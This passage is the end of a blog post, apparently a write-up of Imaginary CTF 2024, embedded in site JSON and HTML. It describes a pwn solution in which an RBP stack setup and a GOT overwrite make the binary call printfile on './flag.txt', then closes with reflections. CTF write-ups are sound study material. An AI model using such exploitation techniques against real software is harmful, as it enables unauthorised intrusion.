960w,\n/static/44acfe8e6f1519eec0e32e37f1d1bf65/61c9b/image-20240725202051718.webp 968w\"\n              sizes=\"(max-width: 960px) 100vw, 960px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/44acfe8e6f1519eec0e32e37f1d1bf65/8ff5a/image-20240725202051718.png 240w,\n/static/44acfe8e6f1519eec0e32e37f1d1bf65/e85cb/image-20240725202051718.png 480w,\n/static/44acfe8e6f1519eec0e32e37f1d1bf65/d9199/image-20240725202051718.png 960w,\n/static/44acfe8e6f1519eec0e32e37f1d1bf65/e2310/image-20240725202051718.png 968w\"\n            sizes=\"(max-width: 960px) 100vw, 960px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/44acfe8e6f1519eec0e32e37f1d1bf65/d9199/image-20240725202051718.png\"\n            alt=\"image-20240725202051718\"\n            title=\"image-20240725202051718\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>The reason the stack is arranged so that <code class=\"language-text\">RBP</code> becomes <code class=\"language-text\">0x404040</code> is that when <code class=\"language-text\">printfile</code> is called next, I want <code class=\"language-text\">RDI</code> to point to the address where <code class=\"language-text\">b\"./flag.txt\\x00\"</code> is stored.</p>\n<p>Since that string is placed at <code class=\"language-text\">0x404038</code>, setting <code class=\"language-text\">RBP</code> to <code class=\"language-text\">0x404040</code> makes the <code class=\"language-text\">lea     rax, [rbp-0x8]; mov rdi, rax</code> sequence place <code class=\"language-text\">0x404038</code> into <code class=\"language-text\">RDI</code>.</p>\n<p>This lets us use the GOT overwrite to call <code class=\"language-text\">printfile(*path, size)</code> and recover the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 681px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/c85ec587172fac07c45d00a5232168e7/8ce52/image-20240725202848580.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 13.333333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAl0lEQVQI122NwQ6CMBAFuba0tLRLETFEMQZI4OLR+P+/NZJGowcPkzeHzWxRLQY7WHzvkasQukDQkWgj46WmFsscE/d0YJZE5R1lWWKMyejdG++5WcdUVhRtm1jnjcf65NyMRC0c7YnWdCTX4vaAiDAMA33f49w3+LsfL2KMrNvKtEwECftHhdrRGZ0PtdYopTL/Ynnf/gLVmkij3BID6wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/c85ec587172fac07c45d00a5232168e7/8ac56/image-20240725202848580.webp 240w,\n/static/c85ec587172fac07c45d00a5232168e7/d3be9/image-20240725202848580.webp 480w,\n/static/c85ec587172fac07c45d00a5232168e7/9a301/image-20240725202848580.webp 681w\"\n              sizes=\"(max-width: 681px) 100vw, 681px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/c85ec587172fac07c45d00a5232168e7/8ff5a/image-20240725202848580.png 240w,\n/static/c85ec587172fac07c45d00a5232168e7/e85cb/image-20240725202848580.png 480w,\n/static/c85ec587172fac07c45d00a5232168e7/8ce52/image-20240725202848580.png 681w\"\n            sizes=\"(max-width: 681px) 100vw, 681px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/c85ec587172fac07c45d00a5232168e7/8ce52/image-20240725202848580.png\"\n            alt=\"image-20240725202848580\"\n            title=\"image-20240725202848580\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>I ran out of time and could not attempt everything, but it felt like I could have solved a few more Rev challenges.</p>\n<p>Going forward, I need to practice not only solving more challenges, but also solving them faster.</p>","fields":{"slug":"/ctf-imaginary-ctf-2024-en","tagSlugs":["/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2024-07-25","description":"Imaginary CTF 2024 Writeup","tags":["Rev (en)","Pwn (en)","English"],"title":"Imaginary CTF 2024 Writeup","socialImage":{"publicURL":"/static/eacfb66aaf6166f81e2c55c75d9d475e/ctf-imaginary-ctf-2024.png"}}}},"pageContext":{"slug":"/ctf-imaginary-ctf-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}